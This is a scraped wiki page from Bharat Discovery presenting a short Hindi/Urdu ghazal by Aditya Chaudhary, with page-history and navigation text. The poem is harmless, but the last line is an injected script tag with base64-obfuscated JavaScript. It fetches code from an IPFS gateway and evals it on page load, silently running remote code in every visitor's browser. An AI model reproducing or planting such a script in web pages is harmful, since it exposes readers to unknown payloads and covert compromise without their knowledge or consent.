फ़साने भर को -आदित्य चौधरी

भारत डिस्कवरी प्रस्तुति
आशा चौधरी (चर्चा | योगदान) द्वारा परिवर्तित 16:13, 9 नवम्बर 2013 का अवतरण
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:भ्रमण, खोजें
Copyright.png
फ़साने भर को -आदित्य चौधरी

दिल को समझाया, बहाने भर को
आज ज़िंदा हैं, फ़साने भर को

वो जो इक शाम जिससे यारी थी,
आज हासिल है, ज़माने भर को

बाद मुद्दत के हसरतों ने कहा
तुमसे मिलते हैं, सताने भर को

तेरी ख़ुशी से हम हैं आज ख़ुश कितने
तुझसे मिलना है, बताने भर को

कौन कहता है बेवफ़ा तुझको
तूने चाहा था दिखाने भर को


टीका टिप्पणी और संदर्भ


<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>